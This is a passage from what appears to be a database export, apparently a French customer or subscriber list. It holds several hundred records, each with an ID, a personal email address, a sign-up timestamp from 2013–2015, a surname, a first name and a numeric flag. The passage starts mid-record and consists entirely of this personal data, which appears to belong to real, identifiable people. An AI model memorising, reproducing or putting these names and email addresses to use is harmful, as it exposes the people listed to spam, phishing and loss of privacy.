10:54:59;leger;huguette;1 +3386;legrismaylis@laposte.net;2014-09-21 08:29:26;ardouin legris;maylis;1 +2868;leilak8@hotmail.fr;2014-07-18 19:24:28;kraioih;leila;1 +2432;lelamer.gerard@orange.fr;2014-06-04 12:03:04;le lamer;martine;1 +1614;leleneau@free.fr;2014-04-09 16:48:02;SZCZERBIJCZUK;LAURENCE;1 +2687;lemaire.elisabeth@sfr.fr;2014-06-28 11:40:41;lemaire;elisabeth;1 +3319;lemesle3@wanadoo.fr;2014-09-14 08:26:13;lemesle;patricia;1 +752;lenax50@free.fr;2013-12-17 21:57:11;fontaine;karine;1 +3968;lengletb@gmail.com;2014-11-09 15:19:42;Lenglet;Brigitte;1 +989;Leo_85@hotmail.ch;2014-01-23 17:28:41;Gutaj;Arbnore;1 +4008;leporsgabrielle.calvez@yahoo.fr;2014-11-13 19:21:54;LE PORS - CALVEZ;Gabrielle;1 +2946;les.plantets@wanadoo.fr;2014-07-28 17:16:29;BURLAUD;COLETTE;1 +4295;lesbuissonnieres@gmail.com;2014-12-04 16:44:52;buisson;brigitte;1 +2361;lescoatkarine@yahoo.fr;2014-05-29 20:59:27;Lescoat;Karine;1 +1901;lesdallier@free.fr;2014-04-29 16:17:24;DALLIER;Marie;1 +2030;Leslie.hamm@hotmail.fr;2014-05-05 10:41:53;Hamm;Leslie;1 +4775;lesly3101@hotmail.fr;2015-01-23 12:15:12;roques ;leslie;1 +841;lessorg@peoplepc.com;2014-04-27 23:47:04;Smareglia;Aquilina;1 +513;letouille@hotmail.com;2013-11-17 19:11:05;seive poisson;laetitia;1 +4513;levanmareve@gmail.com;2014-12-17 16:19:44;LEVAN;Marie-Eve;1 +3027;levsyl63@yahoo.fr;2014-08-07 12:36:44;LEVESQUE;Sylvie;1 +2719;li.loumenis@gmail.com;2014-07-01 12:35:13;beaujeux;monique;1 +1656;lianecatel@free.fr;2014-04-13 15:36:34;CATEL;Liliane;1 +3213;lianglimei91@hotmail.com;2014-09-03 11:18:12;LIANG;limei;1 +1168;liboirilla@hotmail.fr;2014-02-12 23:03:22;POIREE;aurélie;1 +3392;licorne78@gmail.com;2014-09-21 23:40:30;GALES;Véronique;1 +2614;lila1305@hotmail.fr;2014-06-20 15:04:10;AIT SLIMANE;LEILA;1 +4994;liladelu@hotmail.fr;2015-02-10 15:25:54;Boumedjeria;Lila;1 +2804;lilaluz@hotmail.fr;2014-07-09 19:29:35;LEGRAND;laetitia;1 +1632;liless@hotmail.com;2014-04-11 15:46:06;AKNIN;LESLIE;1 +2694;lili-lyvie@hotmail.fr;2014-06-29 00:23:19;Hauchecorne;Aurelie;1 +4928;liliane.marchois@free.fr;2015-02-06 10:49:41;MARCHOIS;Liliane;1 +4442;lilirose929@hotmail.fr;2014-12-13 14:04:17;frénais-leclerc;isabelle;1 +4165;lilisue@hotmail.com;2014-11-25 08:06:03;RAMANANTSOA;CAROLE;1 +4021;liloutak@hotmail.fr;2014-11-14 22:25:38;WARTAK;Emilie;1 +3058;lily.cleret@outlook.com;2014-08-12 10:01:11;Cleret;lily;1 +4138;lily1009@hotmail.fr;2014-11-22 21:04:24;Denis;Alice;1 +3396;lilyinau@hotmail.com;2014-09-22 14:57:32;zhao;li;2 +3478;linachen1995@hotmail.com;2014-10-01 14:22:58;lina;chen;2 +309;linda.henneuse@sfr.fr;2013-10-18 22:49:03;HENNEUSE;Linda;1 +4398;lindabaix@yahoo.fr;2014-12-11 11:36:22;Baix Bierlaire;Linda;1 +604;lindatiti@msn.com;2013-12-01 16:30:22;Geeroms;Linda;1 +656;linecailliau@yahoo.fr;2013-12-07 09:55:45;Cailliau;Line;1 +4720;lineveyret@orange.fr;2015-01-16 00:17:17;veyret fiascaro;angele ilne;1 +100;linonlaurence1@gmail.com;2013-09-08 23:31:04;Linon;Laurence;1 +3624;lise.couture@gmail.com;2014-10-16 15:09:11;COUTURE;LISE;1 +1079;lisis.so@hotmail.fr;2014-02-02 10:34:16;SOMMERIA;SONIA;1 +1074;lisoliamor@hotmail.fr;2014-02-01 11:22:49;VEDEL;LISOL;1 +4444;lisouille9@hotmail.fr;2014-12-13 16:41:56;Lafolie;Lise;1 +2173;liyoni311@gmail.com;2014-05-15 17:04:23;Le Tessier;Manon;1 +1843;ljungbergsophie@gmail.com;2014-04-25 19:59:29;Fragneau;Sophie;1 +4559;lo.litaa.lh@gmail.com;2014-12-22 20:59:25;HEUZE;Lolita;1 +2579;lolie66220@hotmail.fr;2014-06-16 21:59:26;barboux;Aurélie;1 +1799;lolo.rudolf@gmail.com;2014-04-23 08:35:04;rudolf;laurence;1 +2230;lolo_titi_94@hotmail.com;2014-05-20 20:28:00;Jaillet;Laurence;1 +1395;lombard_christelle@orange.fr;2014-03-20 09:59:31;LOMBARD ;Chrystelle ;1 +4666;loredan01@infonie.fr;2015-01-07 21:02:17;PITRON;Frédéric;1 +734;louis.rabezzana@orange.fr;2013-12-16 16:05:38;RABEZZANA;SABINE;1 +1294;loulou.110888@gmail.com;2014-03-06 04:30:53;Seville;Marie-Lou;1 +1670;loulou20041983@hotmail.fr;2014-04-13 22:48:37;peth;Stéphanie;1 +1404;lucette.mertz053@hotmail.fr;2014-03-21 10:13:45;Mertz;lucette;1 +86;luciaterranova@libero.it;2013-09-03 17:00:21;Terranova;Lucia;1 +3635;lucie.cals@sfr.fr;2014-10-17 12:37:00;boyot;nadine;1 +1914;lucie.carette@outlook.fr;2014-04-30 12:45:34;carette;Lucie;1 +4585;lucie.rabiller@laposte.net;2014-12-26 22:18:35;rabiller;lucie;1 +3883;ludivine_dubois@hotmail.com;2014-11-03 23:09:03;DUBOIS;Ludivine;1 +3174;lulu13591514@hotmail.com;2014-08-29 04:03:06;lu;zhou;2 +4402;lunadeune@hotmail.fr;2014-12-11 13:16:30;Solé;Adeline;1 +3448;luojiliner@gmail.com;2014-09-29 22:50:55;LUO;Jilin;1 +1109;lutine.62@hotmail.fr;2014-02-04 11:47:11;serrurier kubiak;laurence;1 +1912;lutz.michelle@wanadoo.fr;2014-04-30 10:13:32;lutz;michelle;1 +992;lydiacolleaux@yahoo.fr;2014-01-24 10:28:45;colleaux;sylvie;1 +4557;lydialavallee@free.fr;2014-12-22 18:43:13;LAVALLEE;Lydia;1 +1972;lydie.gerdan74@orange.fr;2014-05-02 00:09:21;LAHERTE;Lydie;1 +2548;lydie.mathurin.d@gmail.com;2014-06-13 13:15:20;Diop-Mathurin;Lydie;1 +2826;lydiemart1@gmail.com;2014-07-13 11:35:46;MARTIN;Lydie;1 +631;lyl38@hotmail.fr;2013-12-04 12:42:40;SUZE;Aurélie;1 +3083;lynn.xu@hotmail.co.uk;2014-08-15 17:22:07;xu;lynn;1 +111;lyoko83000@gmail.com;2013-09-11 21:09:46;LAMMY;CHRISTIANE;1 +2406;lysiane.henry@gmail.com;2014-06-02 14:13:13;henry;lysiane;1 +191;m-hurel@garancia-beauty.com;2013-09-26 15:54:24;HUREL;Marion;1 +642;m-jessy@live.fr;2013-12-05 09:33:43;Payet;Anais;1 +2570;m.b-momo@wanadoo.fr;2014-06-15 20:58:01;Boclet;Monique;1 +1635;m.borg@orange.fr;2014-04-11 17:11:23;Borg;Mireille;1 +317;m.by.mag@gmail.com;2013-10-20 00:05:04;Balian;Magali;1 +721;m.fourmeaux@hotmail.com;2013-12-15 08:54:47;Fourmeaux;Martine;1 +3406;m.labreuille@hotmail.fr;2014-09-23 18:12:34;labreuille;marilyne;1 +3998;m.ve@live.be;2014-11-11 21:20:53;Veillette;Martine;1 +975;m.zambernardi@hotmail.fr;2014-01-22 10:21:24;ZAMBERNARDI;MARTINE;1 +1769;ma.dupont14@gmail.com;2014-04-21 12:22:25;DUPONT;Marion;1 +4254;ma.harmuth@efco.fr;2014-12-01 18:32:10;Harmuth;Marie-Andrée;1 +4010;maccalicamille@gmail.com;2014-11-13 23:14:05;maccali;camille;1 +2940;maclay1508@yahoo.fr;2014-07-28 13:36:06;GROSJEAN;MARIE CLAIRE;1 +4321;macovasy@hotmail.fr;2014-12-06 10:28:43;NIEBORAK;Valerie;1 +4578;madhu69@voila.fr;2014-12-25 16:04:42;LAIB;CLAUDETTE;1 +1782;madrise@neuf.fr;2014-04-21 21:08:34;FLUSIN;Sandrine;1 +801;maevathestar@hotmail.fr;2013-12-24 18:20:43;KLEIN;MAEVA;1 +3197;magali.codet@gmail.com;2014-08-31 21:07:40;JACOPO;MAGALI;1 +3691;magalilavedrine@hotmail.fr;2014-10-22 14:45:24;LAVEDRINE;Magali;1 +3907;magalimellouet@hotmail.fr;2014-11-04 22:21:13;Mellouet ;Magali ;1 +1559;magali_matos@hotmail.com;2014-04-05 20:08:28;MATOS;MAGALI;1 +568;Magdo_rousselle@hotmail.fr;2013-11-26 16:24:09;Rousselle;Magdeleine ;1 +3647;magnam@bbox.fr;2014-10-18 19:34:55;GOZDZICKI;Magalie;1 +3417;maguelone_khammy@hotmail.fr;2014-09-24 22:02:58;khammy;maguelone;1 +4256;maguy.lefloch@wanadoo.fr;2014-12-01 19:41:25;le floch;maguy;1 +4026;maheros@orange.fr;2014-11-15 09:03:05;MAHE ROS;Andrée;1 +2041;maitremarjo@gmail.com;2014-05-05 16:22:52;Maître;Marjolaine;1 +229;malaurie79@laposte.net;2013-10-04 20:55:33;Amailland;malaurie;1 +412;maligne.danielle@neuf.fr;2013-11-05 10:32:06;MALIGNE;DANIELLE;1 +3191;mallorie2009@hotmail.fr;2014-08-30 21:38:18;COTHENET;ANNIE;1 +2677;malotvinca@hotmail.com;2014-06-27 09:47:20;gallardo;marie-laure;1 +2049;mamgoa@hotmail.fr;2014-05-06 08:07:19;LE GLEUHER;Josette;1 +1402;mancebo-c@hotmail.fr;2014-03-20 22:06:50;mancebo;caroline;1 +2351;manifou@club-internet.fr;2014-05-28 22:14:53;Foulon;Catherine;1 +83;manon.kerpierre@orange.fr;2013-09-02 11:49:26;granger;valerie;1 +1010;manon.magnin@yahoo.fr;2014-01-26 16:54:25;Magnin;Manon;1 +1980;manonpaoli36@gmail.com;2014-05-02 13:40:28;PAOLI;Manon;1 +1725;mantzari2000@yahoo.fr;2014-04-17 13:47:26;ANASTAY;Camille;1 +2000;manuela.richiardi@wanadoo.fr;2014-05-03 11:52:48;richiardi;manuela;1 +4162;manuelabaptista@hotmail.fr;2014-11-24 22:06:23;baptista lopes;manuela;1 +1141;manuelacuccu@yahoo.fr;2014-02-09 15:22:46;Cuccu;Manuela;1 +3451;manurem@free.fr;2014-09-30 09:01:58;REMY;EMMANUELLE;1 +3521;maoyunpei71@gmail.com;2014-10-06 11:41:10;MAO;YUNPEI;2 +2498;mapi63@live.fr;2014-06-09 15:00:28;bianchi;marie;1 +295;mapylou09@orange.fr;2013-10-16 14:54:42;FAGET;Marie-Pierre;1 +2317;marc.delphine@bbox.fr;2014-05-27 10:46:39;DELCAMBRE;DELPHINE;1 +4733;marc99@hotmail.fr;2015-01-17 10:22:24;ENJALBAL;Marc;1 +3472;marcel.cardenas@wanadoo.fr;2014-10-01 06:38:17;cardenas;françoise;1 +1174;marcelle.polacci@gmail.com;2014-02-14 09:26:32;polacci;marcelle;1 +3333;mariamolina@orange.fr;2014-09-15 22:51:14;GARREL;MARIA;1 +2235;marianeducasse@hotmail.fr;2014-05-21 07:03:59;DUCASSE;Mariane;1 +3474;marianne.boudet25@orange.fr;2014-10-01 10:03:14;BOUDET;MARIANNE;1 +2429;marianne.breniere@orange.fr;2014-06-03 22:15:47;Breniere;Marianne;1 +1767;marianne.revoy@gmail.com;2014-04-21 11:09:12;revoy;marianne;1 +66;maria_25000@hotmail.com;2013-08-26 18:18:32;ghandi;lydie;1 +401;marie-agnes.poligne@laposte.net;2013-11-02 14:17:13;poligné;marie-agnes;1 +1173;marie-ange47@orange.fr;2014-02-13 20:45:05;HEBRARD;MARIE ANGE;1 +1682;marie-annick.le-tertre@wanadoo.fr;2014-04-14 18:37:05;LE TERTRE;MARIE ANNICK;1 +1529;MARIE-CAMILLE.AUBER@LIVE.FR;2014-04-02 13:38:17;Auber;Marie-Camille;1 +557;marie-claude.lacan@orange.fr;2013-11-25 07:40:45;lacan;marie-claude;1 +4790;marie-claude.pages@laposte.net;2015-01-24 10:28:16;pages;marie-claude;1 +2277;marie-francoise.dupuy@wanadoo.fr;2014-05-24 07:46:49;DUPUY;marie françoise;1 +2283;marie-laure.doux@laposte.net;2014-05-24 15:29:44;doux;marie-laure;1 +590;marie-noelle.auzemery@paris.fr;2013-11-29 15:02:27;AUZEMERY;MARIE NOELLE;1 +1445;marie.brender@sfr.fr;2014-03-25 16:38:31;brender;marie;1 +1271;marie.bression@free.fr;2014-03-03 11:27:30;BRESSION;Marie;1 +1658;marie.charmeslr@gmail.com;2014-04-13 16:10:25;Charmes;marie;1 +898;marie.enjalbert@free.fr;2014-01-10 17:37:50;Enjalbert;Marie;1 +2938;marie.hagnere@voila.fr;2014-07-27 20:57:05;HAGNERE;MARIE;1 +3151;marie.phalip@yahoo.fr;2014-08-26 12:49:08;DANTZER;Marie-laurence;1 +639;marieannick.moncel@sfr.fr;2013-12-04 21:17:24;Moncel;Mari-Annick;1 +4909;mariecamino2001@yahoo.fr;2015-02-04 16:46:29;Maury;Catherine;1 +1350;mariechristinedubois@hotmail.fr;2014-03-13 19:33:18;tellier;marie-christine;1 +2456;marieclaire.tomi@sfr.fr;2014-06-05 21:15:47;tomi;Marie claire;1 +4009;marieclaude.bolon@mediaserv.net;2014-11-13 20:06:52;bolon;fabiola;1 +3646;marieclaude.cocchi@gmail.com;2014-10-18 19:07:56;COCCHI;Marie Claude;1 +2816;mariedanks@gmail.com;2014-07-10 16:35:31;Danks;Marie;1 +2269;marieelnivent@orange.fr;2014-05-23 11:22:14;ELNIVENT;Marie;1 +1355;Mariehelene.boudier@aliceadsl.fr;2014-03-14 17:27:22;Boudier;Marie-Hélène;1 +1198;mariehelene.lemoual@sfr.fr;2014-02-20 16:20:30;LEMOUAL;MARIE HELENE;1 +185;marieheleneesperaza@hotmail.fr;2013-09-25 21:28:04;Da Silva Antao;Marie Hélène;1 +2540;mariehmartins@hotmail.com;2014-06-12 16:08:48;Baia;Marie;1 +1526;marieines.paul@gmail.com;2014-04-01 22:57:39;paul;marie;1 +3249;mariejohiriart@hotmail.com;2014-09-08 14:33:44;hiriart delcroix;marie jo;1 +35;mariejose.moinier@neuf.fr;2013-08-14 17:58:57;MOINIER;Marie-josé;1 +1963;mariejoseolivier@orange.fr;2014-05-01 18:47:49;OLIVIER;Marie josee;1 +889;marielaugeres@yahoo.fr;2014-01-08 20:04:55;PIQUAND;Marie;1 +4890;marielaure.constantin@hotmail.fr;2015-02-02 15:13:56;CONSTANTIN;Marie Laure;1 +3515;marielaure.lejczyk@laposte.net;2014-10-05 15:59:54;LEJCZYK;Marie-laure;1 +1318;marielle.hardivillier@hotmail.fr;2014-03-09 16:27:15;hardivillier;Marielle;1 +3559;marieluce1960@gmail.com;2014-10-09 22:18:57;URRUTIA;Marie-Luce;1 +3820;mariepierre.julita@orange.fr;2014-11-01 18:19:42;JULITA;Marie-Pierre;1 +918;mariethefig@yahoo.fr;2014-01-12 18:09:12;FIGUEIRA;Marie Therese;1 +1086;mariewiart@hotmail.com;2014-02-02 14:49:05;wiart;marie;1 +1548;Marie_ivane@yahoo.com;2014-04-04 22:30:39;Bernhardt;Marie-ivane;1 +182;marika.bonnor@gmail.com;2013-09-25 19:59:50;Bonnor;Marika ;1 +4804;marilyn0611@hotmail.fr;2015-01-25 16:26:34;GIRAUD;MARILYN;1 +4661;marina.gwel@gmail.com;2015-01-07 17:18:50;BACHET;Marina;1 +1516;marinatomj@hotmail.fr;2014-03-31 19:36:18;Marinato;Marie-Jeanne;1 +2673;marine-swiderski@hotmail.fr;2014-06-26 21:38:42;SWIDERSKI;MARINE;1 +3388;marinebouleau@hotmail.com;2014-09-21 11:40:21;bouleau;marine;1 +144;marinecognet@laposte.net;2013-09-18 21:37:13;cognet;marine;1 +2907;marion-77@live.fr;2014-07-23 21:06:09;meline;marion;1 +3288;Marion.brasier@sfr.fr;2014-09-11 11:49:51;Brasier;Marion;1 +3626;marion.marescaux@hotmail.fr;2014-10-16 17:54:55;MARESCAUX;MARION;1 +1583;marion.tomaszewski@gmail.com;2014-04-07 18:25:00;TOMASZEWSKI;Marion;1 +4366;marionpat37@orange.fr;2014-12-09 05:54:26;MARION;Patricia;1 +2730;marionspagnolo@gmail.com;2014-07-02 14:34:25;spagnolo;marion;1 +2188;marite.quillery@wanadoo.fr;2014-05-16 20:50:47;QUILLERY;Marie-Thérèse;1 +565;marjorie.bourgogne@orange.fr;2013-11-25 21:15:34;bourgogne;marjorie;1 +2705;marjorie261@hotmail.fr;2014-06-30 11:43:42;mileto;marjorie;1 +4659;marketing@koselect.fr;2015-01-07 15:02:24;FORT;Estel;1 +2650;marlavene@hotmail.com;2014-06-24 10:32:47;verdier;marlene;1 +606;marlene.fournier31@gmail.com;2013-12-02 14:16:16;FOURNIER;Marlene;1 +522;marlenebernard_2@msn.com;2013-11-19 21:09:30;bernard;marlene;1 +3022;marleneclo@yahoo.fr;2014-08-06 18:22:32;Clochard;Marlène;1 +3716;marli77b@gmail.com;2014-10-24 13:17:36;Bastian;Line;1 +660;martaklekotko@yahoo.pl;2013-12-07 15:53:03;MARTA;KLEKOTKO;2 +3265;martie@hotmail.fr;2014-09-10 04:31:49;petro ernandez;martine;1 +1595;martinbarbara@free.fr;2014-04-08 13:59:20;MARTIN;BARBARA;1 +2670;martine-savary@orange.fr;2014-06-26 14:25:55;SAVARY;Martine;1 +850;martine.anthouard@gmail.com;2014-01-02 17:29:43;anthouard teriele;martine;1 +1249;martine.corsini@orange.fr;2014-02-28 13:39:23;Clerget-Corsini;Martine;1 +3311;martine.faillie@orange.fr;2014-09-13 10:58:18;DELEBARRE-FAILLIE;Martine;1 +537;martine.legrand89@gmail.com;2013-11-22 12:51:42;LEGRAND;Daniel;1 +2648;martine.lemercier@inrap.fr;2014-06-24 09:54:46;LEMERCIER ;Martine ;1 +2442;Martine.leneveu@h-len.com;2014-06-04 17:58:02;Leneveu;Martine;1 +461;martine.mongeville@orange.fr;2013-11-10 23:04:28;mongeville;martine;1 +4510;martine.ondella@gmail.com;2014-12-17 14:36:40;blaise;martine;1 +910;martine.richshoffer2@hotmail.fr;2014-01-11 21:11:15;richshoffer;martine;1 +1781;martine.scozzaro@gmail.com;2014-04-21 20:12:33;Scozzaro;Martine;1 +388;martine.sza@free.fr;2013-10-30 22:53:30;szabo le floch;martine;1 +3143;martine.villard@free.fr;2014-08-25 21:32:20;VILLARD;MARTINE;1 +908;martineboivin.frere@gmail.com;2014-01-11 19:14:29;FRERE;Martine;1 +2513;martineburet@orange.fr;2014-06-10 14:29:51;BURET;MARTINE;1 +1349;mary.degousee.molinie@gmail.com;2014-03-13 19:19:02;MOLINIE;Anne Marie;1 +4782;mary21528@hotmail.com;2015-01-23 21:35:32;Mayor;Marie-Christine;1 +4757;mary777gabriel@orange.fr;2015-01-20 17:43:31;FOURRE;Maryvonne;1 +2699;marygribouille@gmail.com;2014-06-29 17:51:30;Berenger ;Marie-loup;1 +3055;Maryline.pierson@geneseinfo.fr;2014-08-11 15:29:32;Pierson;Maryline;1 +3102;marylinech@msn.com;2014-08-18 16:41:09;chevet;maryline;1 +3788;Marylinelaborie@hotmail.fr;2014-10-30 07:45:35;Laborie;Maryline;1 +580;marylinemeta@hotmail.fr;2013-11-27 16:35:14;METAYER;MARYLINE;1 +1936;marylou.58@wanadoo.fr;2014-05-01 10:30:31;Krieger;Marie-Lou;1 +3459;maryse.dattler@gmail.com;2014-09-30 17:09:56;dattler;maryse;1 +2061;marysesegaud@yahoo.fr;2014-05-06 17:24:31;Benoit-Gonin;Maryse;1 +3437;Maryvonne.baron@9online.fr;2014-09-28 23:09:25;BARON;Maryvonne;1 +2665;matex75019@yahoo.fr;2014-06-25 15:07:59;VIEIRA;JOELLE;1 +3625;mathilde.peyron@orange.fr;2014-10-16 15:42:25;PEYRON;YOLANDE;1 +2893;maud.nadir@free.fr;2014-07-22 10:44:42;nadir;maud;1 +638;maudchauvancy@gmail.com;2013-12-04 20:32:19;CHAUVANCY;Maud;1 +808;maude_0412@hotmail.com;2013-12-26 16:01:12;pieri;maude;1 +3609;maudongles@live.fr;2014-10-15 17:05:55;Vandermesse;maud;1 +390;maudperverie@gmail.com;2013-10-31 13:54:48;Perverie;Maud;1 +2589;maufroy@laposte.net;2014-06-17 21:32:19;maufroy;nathaly;1 +1070;maureen0917@gmail.com;2014-01-31 21:13:26;ALFONSETTI;Maureen;1 +4764;Maurerm@live.de;2015-01-21 17:47:49;Martine;Maurer;1 +4881;maurice.bajas@orange.fr;2015-02-01 16:39:12;bajas;jacqueline;1 +4337;maurice.grivot@laposte.net;2014-12-07 13:59:28;grivot;maurice;1 +4200;mauricetteguerre@free.fr;2014-11-27 19:31:54;GUERRE;Mauricette;1 +20;mawart.johanna@yahoo.fr;2013-08-07 15:25:43;MAWART;JOHANNA;1 +1690;mawebmail@orange.fr;2014-04-15 11:11:43;Leroy ;Marie-Anne;1 +2021;mayouto@hotmail.fr;2014-05-04 15:54:20;smaghue;marie;1 +2945;mbousigon@orange.fr;2014-07-28 17:03:57;BOUSIGON;Maïthé;1 +4391;mc.chardon@orange.fr;2014-12-10 19:24:30;CHARDON;MARIE-CLAUDE;1 +3207;mc.eiffel@free.fr;2014-09-02 12:16:17;Basile;Marie-Christine;1 +3298;mcaroline83@gmail.com;2014-09-11 23:11:01;Miserine ;Caroline;1 +3340;MCD1403@HOTMAIL.COM;2014-09-17 11:31:13;DEMBSKI;MARIE;1 +2762;mcenec@infomaniak.ch;2014-07-06 13:32:11;CENEC;Marie;1 +3456;mcgambier@daiwa-france.fr;2014-09-30 12:59:30;GAMBIER;Marie-Claude;1 +769;md.leloup@orange.fr;2013-12-20 00:10:29;LELOUP;Micheline;1 +2441;mdavaze@orange.fr;2014-06-04 15:50:34;davaze;martine;1 +1708;mddurez59@hotmail.fr;2014-04-16 13:18:15;durez;marie.danielle;1 +4771;mdgranier@hotmail.fr;2015-01-22 12:49:08;GRANIER;Dominique;1 +3791;mdguinchard@gmail.com;2014-10-30 11:05:56;Guinchard;Marie-Danièle;1 +216;mefraysse@gmail.com;2013-10-01 19:58:04;fraysse;marie-emmanuelle;1 +4565;megbrun@hotmail.fr;2014-12-23 19:28:02;BRUNET;MEGHAN;1 +3324;mei8@free.fr;2014-09-15 09:02:41;TOCHE;thérèse;1 +4813;meignotte.jean-marc@orange.fr;2015-01-25 20:51:29;MEIGNOTTE;Catherine;1 +611;mel3009@laposte.net;2013-12-03 09:57:34;Dieterlen;Melanie;1 +510;MELANIE.CABANEL@GMAIL.COM;2013-11-17 14:31:49;cabanel;mélanie;1 +1331;melanie.dumarey@hotmail.fr;2014-03-11 05:20:08;dumarey;mélanie;1 +1196;melanie275@hotmail.com;2014-02-19 21:18:47;breton;mélanie;1 +3349;melaniecoulee@bbox.fr;2014-09-18 11:50:54;Coulée;Mélanie;1 +2749;melaniedessaint@yahoo.fr;2014-07-04 17:24:53;Fresneau ;Mélanie ;1 +3254;melanielacour@laposte.net;2014-09-08 23:38:59;LACOUR;Mélanie;1 +1370;melanielajoie23@orange.fr;2014-03-16 17:53:39;Lajoie;Mélanie;1 +3648;Melilou33@gmail.com;2014-10-18 21:18:45;Braz;Sophie;1 +3012;meline.valerie@free.fr;2014-08-05 13:39:20;meline;Valerie;1 +4473;melisfangfang@hotmail.com;2014-12-14 22:33:03;LIU;Fang Fang;1 +3744;meliss.monnerville@gmail.com;2014-10-27 12:41:23;monnerville;melissa;1 +540;melissa.suedois@hotmail.fr;2013-11-22 14:58:01;SUEDOIS;Mélissa;1 +1399;melle.esthetique@gmail.com;2014-03-20 14:53:31;Coursimault;Marie eve;1 +2789;melodiefiesta@outlook.fr;2014-07-08 20:20:15;Farina;Melodie;1 +5026;mendobeauty@gmail.com;2015-02-13 03:02:24;Wall;Amy;2 +2638;merciernorbert@aol.com;2014-06-22 22:05:48;Mercier;Gabrielle;1 +865;merlumamand@gmx.com;2014-01-04 13:54:15;ghisgant;amandine;1 +2356;meyerfamily67@orange.fr;2014-05-29 14:24:57;MEYER;CHRISTINE;1 +3717;meyermjo@yahoo.fr;2014-10-24 16:52:55;MEYER;MJ;1 +4414;meyrin11@sfr.fr;2014-12-11 21:57:52;mondary;mireille;1 +2396;mf.lebaccon@free.fr;2014-06-02 09:51:50;le baccon;marie francoise;1 +2243;mfj90@yahoo.fr;2014-05-21 17:52:13;Jeanrichard;Marie france;1 +4457;mflorine@live.fr;2014-12-14 11:27:30;miletti;florine;1 +1278;mfnoizet@gmail.com;2014-03-04 09:41:59;Noizet;Marie-Françoise;1 +3629;Mganteille@gmail.com;2014-10-17 09:34:02;GANTEILLE;MICHELLE;1 +4540;mgrebot@hotmail.fr;2014-12-19 21:14:42;TUMBACH;MAGALI;1 +3198;mgueguen8@orange.fr;2014-09-01 01:04:02;gueguen;melissa;1 +4319;mia.qian.sun@gmail.com;2014-12-06 09:16:09;sun;mia;2 +1891;mibonneville@wanadoo.fr;2014-04-28 16:38:08;bonneville;sylviane;1 +1704;michel.claudette@orange.fr;2014-04-15 21:23:45;semet;claudette;1 +2150;michel.schleich@free.fr;2014-05-14 11:28:00;schleich;dominique;1 +3479;michele.capette@orange.fr;2014-10-01 15:09:17;CAPETTE;Michèle;1 +298;michele.mougin0209@orange.fr;2013-10-17 10:09:40;mougin ;michele;1 +3513;michelebrice@free.fr;2014-10-05 13:51:26;BRICE;Michele;1 +2084;Michelleshanksrocton@gmail.com;2014-05-08 23:58:54;Rocton;Michelle;1 +1555;michellevanier@live.fr;2014-04-05 18:14:39;mimoun;michelle;1 +1739;michelle_frmont@orange.fr;2014-04-18 10:14:54;NOTTEBAERT;Michelle;1 +1788;michrystdelacour@wanadoo.fr;2014-04-22 13:45:34;delacour;chrystelle;1 +3185;micloroux@orange.fr;2014-08-29 23:40:26;ROUX;Marie claude;1 +2275;mifalou@msn.com;2014-05-24 02:29:53;gardin;françoise;1 +4533;miga954@sfr.fr;2014-12-19 13:43:35;morin;marie gabrielle;1 +4149;mikael.bizien@free.fr;2014-11-23 16:52:05;hallegot;marine;1 +2599;mimpontelmarina@hotmail.fr;2014-06-18 18:29:53;mimpontel;marina;1 +2720;minavalery@gmail.com;2014-07-01 15:13:28;valery;marie-line;1 +4917;mirawa48@gmail.com;2015-02-05 08:37:34;delorge;michèle;1 +129;mireille.meuleau@cg3.ca;2013-09-15 23:04:12;Meuleau;Mireille;1 +3949;mireille.migliaccio@sfr.fr;2014-11-07 20:18:39;migliaccio;mireille;1 +1421;mireille.parisot@orange.fr;2014-03-22 18:21:42;Mireille;Parisot;1 +3327;mireillemarck@estvideo.fr;2014-09-15 13:01:30;MARCK;Mireille;1 +4512;mireillerobert36@yahoo.fr;2014-12-17 16:14:19;robert;mireille;1 +3918;mischler.domi@yahoo.fr;2014-11-05 18:56:25;mischler;dominique;1 +617;Miss-nono34@hotmail.fr;2014-03-16 20:32:20;Baron;Noemie;1 +3549;Missdelg@hotmail.fr;2014-10-09 00:06:43;GUERMONPREZ ;Delphine;1 +2250;missemac@hotmail.fr;2014-05-21 21:46:02;Ambrosini;Julia;1 +352;misspattedoie@hotmail.fr;2013-10-25 19:14:20;QUESTAIGNE;STELLA;2 +97;missrukia@gmail.com;2013-09-07 11:11:33;Bettayeb;Amel;1 +2156;missy.sabah@hotmail.fr;2014-05-14 15:07:04;SERGHINI;SABAH;1 +3589;mjbaudoin@gmail.com;2014-10-13 17:51:47;Baudoin;Marie;1 +3533;mjg57@orange.fr;2014-10-07 01:52:26;GUILLOU;Mariejoe;1 +2191;mjmbc@orange.fr;2014-05-17 09:38:59;beyens;monique;1 +2587;ml.brugerolle@cdgcognac.com;2014-06-17 17:51:55;BRUGEROLLE;Marie-Laure;1 +356;ml.tronche@gmail.com;2013-10-26 14:36:44;tronche;marie;1 +4461;mleguevel@voila.fr;2014-12-14 15:26:23;LE GUEVEL;MICHELE;1 +2346;mlestriez@free.fr;2014-05-28 18:30:03;lestriez;Marie;1 +3182;mmarielle0@gmail.com;2014-08-29 16:06:37;cordier;marielle;1 +2495;mmcmorin@aol.com;2014-06-09 12:52:55;MORIN CHEREAU;MONIQUE ;1 +1653;mme.broutet@gmail.com;2014-04-13 13:17:34;BROUTET;ZAKIA ;1 +3642;mn.florczyk@gmail.com;2014-10-18 08:15:48;Florczyk;Marie Noëlle ;1 +3966;mnpasero@laposte.net;2014-11-09 11:04:56;pasero;marie-noëlle;1 +3350;modkamoya@yahoo.fr;2014-09-18 13:28:13;FASS;Maud;1 +4134;monchakra@hotmail.fr;2014-11-22 17:40:55;GEOFFROY;CAROLINE;1 +3715;mondolonidea@aol.com;2014-10-24 13:16:05;Mondoloni;dea;1 +425;monette0311@hotmail.fr;2013-11-07 13:18:27;BREGNARD;MONIQUE;1 +2025;monica@diottiarredamenti.it;2014-05-04 19:06:15;DIOTTI;MONICA;1 +453;monika.47@hotmail.fr;2013-11-10 00:13:58;DESCHAMPS;Monique;1 +3132;monique.charrier662@orange.fr;2014-08-25 10:02:18;charrier;monique;1 +1909;monique.fougere@sfr.fr;2014-04-30 08:23:07;fougere;monique;1 +2504;monique.gaillard1957@gmail.com;2014-06-09 18:23:30;GAILLARD;Monique;1 +4610;monique.madura@gmail.com;2014-12-30 19:47:22;MADURA;Monique;1 +1408;monique.petra@neuf.fr;2014-03-21 17:31:36;PETRA;MONIQUE;1 +4913;monique.vanloo@wanadoo.fr;2015-02-04 19:15:03;Leblanc;Monique;1 +4350;monique778@hotmail.fr;2014-12-08 04:06:09;BOULLET;Monique;1 